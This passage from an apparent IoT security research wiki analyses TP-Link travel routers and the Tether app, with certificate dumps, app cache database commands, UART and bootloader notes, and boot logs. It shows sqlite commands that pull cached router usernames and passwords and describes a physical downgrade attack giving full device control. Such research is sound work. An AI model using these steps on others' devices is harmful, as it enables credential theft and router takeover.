&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; openssl x509 -in tp-link-root-CA.pem --text&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Certificate:&lt;br /&gt;
    Data:&lt;br /&gt;
        Version: 3 (0x2)&lt;br /&gt;
        Serial Number:&lt;br /&gt;
            4f:9c:74:99:ae:d0:9c:83:47:09:0b:e1:9e:6c:d1:f7&lt;br /&gt;
        Signature Algorithm: sha256WithRSAEncryption&lt;br /&gt;
        Issuer: CN = tp-link-CA&lt;br /&gt;
        Validity&lt;br /&gt;
            Not Before: Jan 19 08:27:52 2018 GMT&lt;br /&gt;
            Not After : Jan 19 08:37:52 2068 GMT&lt;br /&gt;
        Subject: CN = tp-link-CA&lt;br /&gt;
        Subject Public Key Info:&lt;br /&gt;
            Public Key Algorithm: rsaEncryption&lt;br /&gt;
                RSA Public-Key: (2048 bit)&lt;br /&gt;
                Modulus:&lt;br /&gt;
                    00:b8:61:bc:9f:9c:c4:50:dd:63:e7:0b:af:53:3e:&lt;br /&gt;
                    29:00:83:2e:ae:12:87:6e:97:d4:52:ef:9b:d9:a7:&lt;br /&gt;
                    05:1c:a4:ba:89:4f:61:34:95:af:0f:28:57:72:28:&lt;br /&gt;
                    58:e5:6c:fa:6a:af:66:e0:3e:52:65:c8:16:de:4d:&lt;br /&gt;
                    f5:62:83:4d:b6:bc:ed:0e:37:60:da:ac:3b:01:a5:&lt;br /&gt;
                    fc:e5:2f:7d:fc:6d:01:55:b2:17:92:da:e1:b3:7e:&lt;br /&gt;
                    0e:5b:5f:56:03:f8:5a:0f:0b:ad:dd:d1:61:2d:e9:&lt;br /&gt;
                    be:80:24:51:29:45:dc:9a:ea:9c:85:97:3c:e1:d6:&lt;br /&gt;
                    3b:24:55:5f:84:f7:09:72:2e:26:b1:18:cb:08:53:&lt;br /&gt;
                    4e:d2:1a:3d:39:7f:8c:67:07:ce:e0:12:da:78:0a:&lt;br /&gt;
                    8a:56:80:28:af:aa:df:e0:15:d5:b4:ed:31:8d:81:&lt;br /&gt;
                    c3:28:ed:1f:6f:70:16:2c:b2:78:12:31:9e:ab:a6:&lt;br /&gt;
                    22:7a:a3:e2:62:53:c5:12:a4:66:e4:fa:ef:05:74:&lt;br /&gt;
                    e6:d0:8b:90:a2:0c:a0:c9:5a:4a:e0:b1:eb:fc:ad:&lt;br /&gt;
                    b4:ed:92:f2:57:7d:c3:c4:b2:db:b1:48:12:10:95:&lt;br /&gt;
                    67:a5:95:2f:fd:65:2e:8d:78:e5:20:38:31:22:fc:&lt;br /&gt;
                    99:64:26:22:5c:ed:dd:95:ed:bf:30:4b:e9:99:99:&lt;br /&gt;
                    3a:25&lt;br /&gt;
                Exponent: 65537 (0x10001)&lt;br /&gt;
        X509v3 extensions:&lt;br /&gt;
            X509v3 Key Usage:&lt;br /&gt;
                Digital Signature, Certificate Sign, CRL Sign&lt;br /&gt;
            X509v3 Basic Constraints: critical&lt;br /&gt;
                CA:TRUE&lt;br /&gt;
            X509v3 Subject Key Identifier:&lt;br /&gt;
                C6:ED:A2:05:14:EC:79:FE:62:36:7B:00:0D:58:4C:24:34:16:8B:A9&lt;br /&gt;
            1.3.6.1.4.1.311.21.1:&lt;br /&gt;
                ...&lt;br /&gt;
    Signature Algorithm: sha256WithRSAEncryption&lt;br /&gt;
         1e:76:31:a8:dd:fb:0a:37:71:be:41:b1:3a:3a:df:3d:8f:b1:&lt;br /&gt;
         b6:f2:97:80:02:31:46:b0:eb:c3:71:50:cc:ba:d4:e8:a1:c7:&lt;br /&gt;
         79:9c:2f:32:c9:aa:22:19:70:a7:8f:88:7b:24:2e:a2:c9:17:&lt;br /&gt;
         b4:1f:4f:d4:ea:8e:f8:b3:32:31:49:56:0b:0b:b9:5b:9b:50:&lt;br /&gt;
         15:ca:07:3a:b2:37:ed:ca:2a:54:1c:8b:43:ce:de:61:fe:39:&lt;br /&gt;
         b8:72:68:4e:c1:cd:5f:aa:ad:2d:cf:75:54:e0:b0:25:85:bf:&lt;br /&gt;
         c0:e4:80:b4:d1:b9:d4:96:c4:be:d5:c1:5a:1e:75:ce:e5:47:&lt;br /&gt;
         3e:44:ae:81:a0:27:7d:e7:44:60:91:d2:78:1c:5b:dd:7d:b4:&lt;br /&gt;
         b4:c0:44:34:0e:a5:42:e6:ce:e9:5c:75:67:99:80:6f:b4:3c:&lt;br /&gt;
         b5:f4:c6:32:50:22:31:44:bd:b3:b1:47:56:7e:83:13:2e:a4:&lt;br /&gt;
         1c:f4:ad:61:68:92:65:98:ad:c8:1a:f1:e5:a2:5b:38:d0:21:&lt;br /&gt;
         ad:ff:01:20:55:27:af:6c:ad:5e:fb:b6:b5:a5:7c:bb:a6:90:&lt;br /&gt;
         28:5b:5e:4f:62:eb:83:57:04:a9:dc:7b:42:66:96:5d:18:f4:&lt;br /&gt;
         e0:b5:9c:c3:ea:ad:b4:0a:9f:37:27:75:20:00:e1:f7:a3:0f:&lt;br /&gt;
         fa:8c:42:7d&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
MIIDBzCCAe+gAwIBAgIQT5x0ma7QnINHCQvhnmzR9zANBgkqhkiG9w0BAQsFADAV&lt;br /&gt;
MRMwEQYDVQQDEwp0cC1saW5rLUNBMCAXDTE4MDExOTA4Mjc1MloYDzIwNjgwMTE5&lt;br /&gt;
MDgzNzUyWjAVMRMwEQYDVQQDEwp0cC1saW5rLUNBMIIBIjANBgkqhkiG9w0BAQEF&lt;br /&gt;
AAOCAQ8AMIIBCgKCAQEAuGG8n5zEUN1j5wuvUz4pAIMurhKHbpfUUu+b2acFHKS6&lt;br /&gt;
iU9hNJWvDyhXcihY5Wz6aq9m4D5SZcgW3k31YoNNtrztDjdg2qw7AaX85S99/G0B&lt;br /&gt;
VbIXktrhs34OW19WA/haDwut3dFhLem+gCRRKUXcmuqchZc84dY7JFVfhPcJci4m&lt;br /&gt;
sRjLCFNO0ho9OX+MZwfO4BLaeAqKVoAor6rf4BXVtO0xjYHDKO0fb3AWLLJ4EjGe&lt;br /&gt;
q6YieqPiYlPFEqRm5PrvBXTm0IuQogygyVpK4LHr/K207ZLyV33DxLLbsUgSEJVn&lt;br /&gt;
pZUv/WUujXjlIDgxIvyZZCYiXO3dle2/MEvpmZk6JQIDAQABo1EwTzALBgNVHQ8E&lt;br /&gt;
BAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUxu2iBRTsef5iNnsADVhM&lt;br /&gt;
JDQWi6kwEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZIhvcNAQELBQADggEBAB52Majd&lt;br /&gt;
+wo3cb5BsTo63z2Psbbyl4ACMUaw68NxUMy61Oihx3mcLzLJqiIZcKePiHskLqLJ&lt;br /&gt;
F7QfT9TqjvizMjFJVgsLuVubUBXKBzqyN+3KKlQci0PO3mH+ObhyaE7BzV+qrS3P&lt;br /&gt;
dVTgsCWFv8DkgLTRudSWxL7VwVoedc7lRz5EroGgJ33nRGCR0ngcW919tLTARDQO&lt;br /&gt;
pULmzulcdWeZgG+0PLX0xjJQIjFEvbOxR1Z+gxMupBz0rWFokmWYrcga8eWiWzjQ&lt;br /&gt;
Ia3/ASBVJ69srV77trWlfLumkChbXk9i64NXBKnce0Jmll0Y9OC1nMPqrbQKnzcn&lt;br /&gt;
dSAA4fejD/qMQn0=&lt;br /&gt;
-----END CERTIFICATE-----&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; ./assets/rsa/app_public_key.pem&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;-----BEGIN PUBLIC KEY-----&lt;br /&gt;
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAviMEj2Kss5OZzWS1Qyfz&lt;br /&gt;
ErRbg9wjDRvLem1enx/cr8CvSETdMtEctRSQdwvdpOWVFEhGQXeNSbs5me55u8ZI&lt;br /&gt;
eE3ph2JOW5PU++PsnvUIqqf8AJB1h+j0DcE+7tlsLRquskpNK9p6L/ziB8s/MaeA&lt;br /&gt;
r//Nkhvdo32ax16UyzpeaOuReaLspDEHPN6+C7q6GFRZ8v0ILkQAFfGAEy94DI6Q&lt;br /&gt;
CeXwBA90zLDDwKnyFwfp6r1Yi/1pUWzyXQLKmxzZJoiYO/J16fvyR4ILqzt40fyY&lt;br /&gt;
cPsg+hpZUeGotBEt3AqTToeWPHbHKPCTgjMmYYGI0eqwbnMKKYMdZ34fViEDHhUy&lt;br /&gt;
ewIDAQAB&lt;br /&gt;
-----END PUBLIC KEY-----&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Android Cache&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;The Tether app caches username, password and other information from configured devices. These information are encrypted using an AES/CBC/PKCS7Padding (256bit) cipher.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; TP_TETHER_CACHE.DB: Model&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Java&amp;quot;&amp;gt;DEVICE                 (DEVICE_ID, MAC, USER_NAME, PASSWORD, NICK_NAME, NAME, FW_VERSION);&lt;br /&gt;
RE_EXTENDED_NETWORK    (SSID, PASSWORD);&lt;br /&gt;
&lt;br /&gt;
FUNCTION_POSITION      (DEVICE_MODEL, FUNCTION_KEY, PAGE, POSITION);&lt;br /&gt;
BSSID_RECORD           (BSSID, MODEL, HW_VERSION, FW_VERSION);&lt;br /&gt;
RE_DISTANCE_IGNORE     (DEVICE_ID, IGNORE,IGNORE_BIND);&lt;br /&gt;
DEVICE_STATISTICS      (ID, TPLINK_ID, HOST_NAME, MAC);&lt;br /&gt;
DEVICE_RATE            (MAC, TIME, HAVETRIGGER, MODELNAME, HARDWAREVERSION, FIRMWAREVERSION, APPRATEDTRACKER);&lt;br /&gt;
DEVICE_RECORD          (DEVICE_ID, INTO_PARENTAL_CONTROL_TIMES, ONEMESH_VER_TRACKED, SYSTEM_INFO_TRACKED, OPERATION_MODE_TRACKED, OPERATION_MODE_CHANGE_TRACKED);&lt;br /&gt;
CLIENTS_RECORD         (ID, MAC, DEVICE_ID, CLIENT_TRACKED, ONEMESH_AVAILABLE_DEVICE_TRACKED, ONEMESH_ADDED_DEVICE_TRACKED);&lt;br /&gt;
DEVICE_RECORE_VERSION  (DEVICE_ID, HOMECARE_VERSION_TRACKED);&lt;br /&gt;
RE_DISTANCE_IGNORE_V2  (DEVICE_ID, NEAR_IGNORE, FAR_IGNORE, HAS_POST);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; TP_TETHER_CACHE.DB: Access&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;$ cd /data/data/com.tplink.tether/databases&lt;br /&gt;
$ sqllite3 TP_TETHER_CACHE.DB&lt;br /&gt;
&lt;br /&gt;
&amp;gt; .tables&lt;br /&gt;
&amp;gt; SELECT USER_NAME, PASSWORD FROM DEVICE;&lt;br /&gt;
&lt;br /&gt;
# USER_NAME: CCB759C153B0AFFE39B6F7218238413B&lt;br /&gt;
# PASSWORD:  CCB759C153B0AFFE39B6F7218238413B&lt;br /&gt;
&lt;br /&gt;
Cipher: AES/CBC/PKCS7Padding (256bit)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Physical Intervention&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;[https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#Dissembly Dissembling] the TL-WR902AC has to be proven to be quite hard without damaging the case, and would have be even harder without the [https://fccid.io/TE7WR902ACV3/Internal-Photos/TL-WR902AC-Internal-photo-rev1-3526178.iframe internal photos] provided to the FCC, which revealed at least the position of the two clips holding the enclosure together. Additionally the top an bottom part of the case where lightly molded together. This requires the usage of some force when opening. The TL-WR802N is not molded together but hast 3 clips instead.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: Printed Circuit Board&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=465px&amp;gt;&lt;br /&gt;
image:TL-WR902AC_V3_PCB_Back.png|PCB Back&lt;br /&gt;
image:TL-WR902AC_V3_PCB_Front.png|PCB Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=280px&amp;gt;&lt;br /&gt;
image:TL-WR902AC_V3_Case_bottom.png|Bottom Case&lt;br /&gt;
image:TL-WR902AC_V3_Case_top.png|Top Case&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=550px&amp;gt;&lt;br /&gt;
image:TL-WR902AC_V3_Case.png|Case&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;: Printed Circuit Board&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=450px&amp;gt;&lt;br /&gt;
image:TL-WR802N_V4_PCB_Back.jpg|PCB Back&lt;br /&gt;
image:TL-WR802N_V4_PCB_Front.jpg|PCB Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=480px&amp;gt;&lt;br /&gt;
image:TL-WR802N_V4_PCB_in_Case.jpg|PCB in Case&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;On-Chip Debug&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;UART&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Having a UART connection isn&#039;t necessary at any point of time, but it provides great insights on how the device operates and reacts to incomming requests. And to examine the devices&#039; runtime configuration. The UART can be easily identified by just looking at the PCB. Follow the steps in our documentations [https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#UART Firmware Acquisition Techniques] or [https://wiki.elvis.science/index.php?title=JTAGulator:_Find_IoT-Device%27s_UART_interface JTAGulator: Find IoT-Device&#039;s UART interface] for further information and guidance. Both investigated devices share the same UART configuration of &amp;lt;code&amp;gt;115200 (8N1)&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;screen /dev/$S_INT 115200,cs8&amp;lt;/code&amp;gt;). But the bootloader uses &amp;lt;code&amp;gt;115200 (7N1)&amp;lt;/code&amp;gt;. (&amp;lt;code&amp;gt;screen /dev/$S_INT 115200,cs7&amp;lt;/code&amp;gt;).&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Both devices provide a root shell without any need of authentification.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;UART Pin Assignment&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:TL-WR902AC_V3_UART_Pin_assignment.jpg|TL-WR902AC V3&lt;br /&gt;
image:TL-WR802N_V4_UART_Pin_assignment.jpg|TL-WR802N V4&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Bootloader&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The examined devices both use the Universal Bootloader (U-Boot), but don&#039;t provide the means to access the U-Boot command line by my knowledge. Additionally it is require to configure the serial connection to use &amp;lt;code&amp;gt;115200 (8N1)&amp;lt;/code&amp;gt;. The only functionality that the bootloader is able to provide is to start into recovery mode. This recovery mode allows to load an image called &amp;lt;code&amp;gt;tp_recovery.bin&amp;lt;/code&amp;gt; over FTP. To do this one need to setup a FTP server with IP address &amp;lt;code&amp;gt;192.168.0.66&amp;lt;/code&amp;gt; and connect the server to the device to recover via ethernet cable. If one has physical access to the device, one could start a downgrade attack, deploying that Firmware version 170828 which gives an attacker full control over the device without even the need to build a custom malicious image. The recovery mode can be started by pressing and holding the reset button until &amp;lt;nowiki&amp;gt;starting recovery...&amp;lt;/nowiki&amp;gt; gets displayed. This process takes about 10 seconds to start. The device will automatically continue to boot normally if no FTP server or image is found.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: Factory Reset Button behavior&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
// Factory Reset&lt;br /&gt;
resetCount ++ 0.&lt;br /&gt;
resetCount ++ 1.&lt;br /&gt;
resetCount ++ 2.&lt;br /&gt;
resetCount ++ 3.&lt;br /&gt;
resetCount ++ 4.&lt;br /&gt;
resetCount ++ 5.&lt;br /&gt;
resetCount ++ 6.&lt;br /&gt;
resetCount ++ 7.&lt;br /&gt;
resetCount ++ 8.&lt;br /&gt;
resetCount ++ 9.&lt;br /&gt;
resetCount ++ 10.&lt;br /&gt;
resetCount ++ 11.&lt;br /&gt;
resetCount ++ 12.&lt;br /&gt;
resetCount ++ 13.&lt;br /&gt;
resetCount ++ 14.&lt;br /&gt;
Factory configuration restored..&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0x10000, ret 0, retlen 0x10000&lt;br /&gt;
spiflash_ioctl_write, Write to 0x007c0000 length 0x10000, ret 0, retlen 0x10000&lt;br /&gt;
&lt;br /&gt;
... Soft Reset ...&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: Load recovery or custom image over FTP&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;U-Boot 1.1.3 (Aug 22 2017 - 09:54:30)&lt;br /&gt;
&lt;br /&gt;
Board: Ralink APSoC DRAM:  64 MB&lt;br /&gt;
relocate_code Pointer at: 83fb4000&lt;br /&gt;
******************************&lt;br /&gt;
Software System Reset Occurred &amp;lt;------------------------------------------&lt;br /&gt;
******************************&lt;br /&gt;
gpiomode1 55154444.&lt;br /&gt;
gpiomode2 05540555.&lt;br /&gt;
flash manufacture id: c8, device id 40 17&lt;br /&gt;
find flash: GD25Q64B&lt;br /&gt;
============================================&lt;br /&gt;
Ralink UBoot Version: 4.3.0.0&lt;br /&gt;
--------------------------------------------&lt;br /&gt;
ASIC 7628_MP (Port5&amp;lt;-&amp;gt;None)&lt;br /&gt;
DRAM component: 512 Mbits DDR, width 16&lt;br /&gt;
DRAM bus: 16 bit&lt;br /&gt;
Total memory: 64 MBytes&lt;br /&gt;
Flash component: SPI Flash&lt;br /&gt;
Date:Aug 22 2017  Time:09:54:30&lt;br /&gt;
============================================&lt;br /&gt;
icache: sets:512, ways:4, linesz:32 ,total:65536&lt;br /&gt;
dcache: sets:256, ways:4, linesz:32 ,total:32768&lt;br /&gt;
&lt;br /&gt;
 ##### The CPU freq = 580 MHZ ####&lt;br /&gt;
 estimate memory size =64 Mbytes&lt;br /&gt;
RESET MT7628 PHY!!!!!!..................................................  &amp;lt;---------- Contine holding reset button&lt;br /&gt;
starting recovery...&lt;br /&gt;
TODO, Read MAC Address from Flash&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 netboot_common, argc= 3&lt;br /&gt;
&lt;br /&gt;
 NetTxPacket = 0x83FE38C0&lt;br /&gt;
&lt;br /&gt;
 KSEG1ADDR(NetTxPacket) = 0xA3FE38C0&lt;br /&gt;
&lt;br /&gt;
 NetLoop,call eth_halt !&lt;br /&gt;
&lt;br /&gt;
 NetLoop,call eth_init !&lt;br /&gt;
Trying Eth0 (10/100-M)&lt;br /&gt;
&lt;br /&gt;
 Waitting for RX_DMA_BUSY status Start... done&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ETH_STATE_ACTIVE!!&lt;br /&gt;
TFTP from server &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;192.168.0.66&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;; our IP address is &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;192.168.0.2&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Filename &#039;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;tp_recovery.bin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&#039;.&lt;br /&gt;
&lt;br /&gt;
 TIMEOUT_COUNT=10,Load address: 0x80060000&lt;br /&gt;
Loading: T T T T T T T T T T                                              &amp;lt;----------- Timemout &lt;br /&gt;
Retry count exceeded; starting again&lt;br /&gt;
&lt;br /&gt;
... Loads Linux ...&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Bootlog&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: AC750 Wifi - Travel Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Linux version 2.6.36 (soho@soho) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #7 Mon Aug 28 15:55:59 HKT 2017&lt;br /&gt;
&lt;br /&gt;
 The CPU feqenuce set to 575 MHz&lt;br /&gt;
&lt;br /&gt;
 MIPS CPU sleep mode enabled.&lt;br /&gt;
CPU revision is: 00019655 (MIPS 24Kc)&lt;br /&gt;
Software DMA cache coherency&lt;br /&gt;
Determined physical RAM map:&lt;br /&gt;
 memory: 04000000 @ 00000000 (usable)&lt;br /&gt;
Initrd not found or empty - disabling initrd&lt;br /&gt;
Zone PFN ranges:&lt;br /&gt;
  Normal   0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Movable zone start PFN for each node&lt;br /&gt;
early_node_map[1] active PFN ranges&lt;br /&gt;
    0: 0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
